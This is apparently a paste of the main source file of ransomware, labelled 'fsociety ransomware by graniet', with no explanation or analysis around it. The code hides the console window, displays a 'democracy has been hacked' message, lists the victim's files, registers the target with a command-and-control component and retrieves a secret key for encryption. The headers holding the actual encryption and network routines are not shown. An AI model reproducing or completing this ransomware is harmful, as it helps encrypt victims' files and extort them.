· 2 years ago · Sep 03, 2023, 03:15 AM
1#include <iostream>
2#include <iomanip>
3#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(_CYGWIN_)
4 #define WIN32_WINNT 0x0500
5 #include <windows.h>
6#endif
7#include "fsociety.h"
8#include "after_day.h"
9// fsociety ransomware by graniet
10
11int main(void)
12{
13 byte* secret_key;
14 fsociety fs;
15 #if defined(WIN32)
16 fs.show_democracy();
17 fs.hide_console();
18 #else
19 std::cout << "Our democracy has been hacked." << std::endl;
20 #endif
21 char *folder = "/root/Bureau";
22 fs.listfiledirectory(folder);
23 CandC command;
24 command.nb_file = fs.number_to_string(fs.nb_file);
25 command.checkifconnected();
26 command.insert_target();
27 command.openReward();
28 secret_key = fs.get_secret_key();
29 //std::cout << "secret key : " << secret_key << std::endl;
30}